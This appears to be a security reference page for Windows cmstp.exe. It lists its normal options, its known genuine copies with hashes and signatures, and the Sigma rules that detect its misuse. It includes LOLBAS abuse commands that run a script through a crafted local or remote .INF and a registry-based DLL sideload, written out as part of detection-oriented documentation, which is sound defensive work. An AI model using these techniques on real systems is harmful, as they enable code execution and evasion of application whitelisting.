Identifier / Programs / Windows
cmstp.exe
Installs or removes a Connection Manager service profile. Windows commands reference
LOLBAS Execute, AWL Bypass 6 Sigma rules name it 2 ATT&CK techniques 3 documented commands 12 known copies with hashes
How cmstp.exe is abused
Execute T1218.003 System Binary Proxy Execution: CMSTP
-ni/sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message). Windows commands referenceAWL Bypass T1218.003 System Binary Proxy Execution: CMSTP
-ni/sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message). Windows commands referenceExecute T1218.003 System Binary Proxy Execution: CMSTP
/nfSpecifies that the support files should not be installed. Windows commands referenceEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for cmstp.exe.
3 documented commands
Execute T1218.003 System Binary Proxy Execution: CMSTP User privileges
Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}Trips 1 Sigma rule: highBypass UAC via CMSTP by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
AWL Bypass T1218.003 System Binary Proxy Execution: CMSTP User privileges
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s {REMOTEURL:.inf}Trips 1 Sigma rule: highBypass UAC via CMSTP by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
Execute T1218.003 System Binary Proxy Execution: CMSTP Administrator privileges
cmstp.exe reads the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll registry value and passes its data directly to LoadLibrary. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via cmstp.exe.
cmstp.exe /nfTrips no Sigma process-creation rule.
2 of the 3 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for cmstp.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for cmstp.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real cmstp.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
7.2.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmstp.exe · signed by Microsoft Windows
5142f9ba10100441b5ae60484a2230fdeb7dbc0d2a6c099e9e560ddb9b6baf887.2.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmstp.exe · signed by Microsoft Windows
ee040a800bf4d2b34e883e31702517ed5a97273c2149ffb925fab98256ffc2cd7.2.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows
2eb8278210434ced87711889ba19582b7a104190310d2a06f0855a9cf5772d117.2.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows
f2d3905ee38b2b5c0b724d582f14eb1db7621ffb8f3826df686a20784341614c7.2.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmstp.exe · signed by Microsoft Windows
395edcf5709703fd2531844bb16019bbf3f106bb41f74856acd52ad837f111847.2.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmstp.exe · signed by Microsoft Windows
6391b1b331af29c25dd8e187e08e733746e078108131e3fd44979e0da1ea2ceb7.2.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows
db3f360bdb292c0679c13149ac6f454f7dce768bde559d87ce718023a6985a0d7.2.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows
e3ea8b0b905f0cb4b355c0650672962a18212420aa75732b689439fbd956b2087.2.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\cmstp.exe · signed by Microsoft Windows
1f1e15022195e4c297c5184262a5f8b95689a67fa63d863f5cbb7674969a0c2e7.2.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\cmstp.exe · signed by Microsoft Windows
3d95ecacacf64066ac25b17e8a458003a000bae45f5a70d660afb7a8d88d4f007.02.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\cmstp.exe · not signed
0bc5838c1a531114851b2db02094856f786da369fb69199d9e36ec71ba3cc04a7.02.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\cmstp.exe · not signed
6aa5cf9836357a3a75ef20a5ccd5f57363c27ca06fe6ffc30958fe552527d7c6From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Install a specific profile
cmstp "path\to\profile_file"IdentifyInstall without creating a desktop shortcut
cmstp /ns "path\to\profile_file"IdentifyInstall without checking for dependencies
cmstp /nf "path\to\profile_file"Identify/nfSpecifies that the support files should not be installed. Windows commands referenceMatches LOLBAS abuse: Execute (T1218.003)
Of the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.
Options
Show every option of cmstp.exe
/qSpecifies that the profile should be installed without prompting the user./nfSpecifies that the support files should not be installed./sSpecifies that the service profile should be installed or uninstalled silently (without prompting for user response or displaying verification message)./uSpecifies that the service profile should be uninstalled./?Displays help at the command prompt.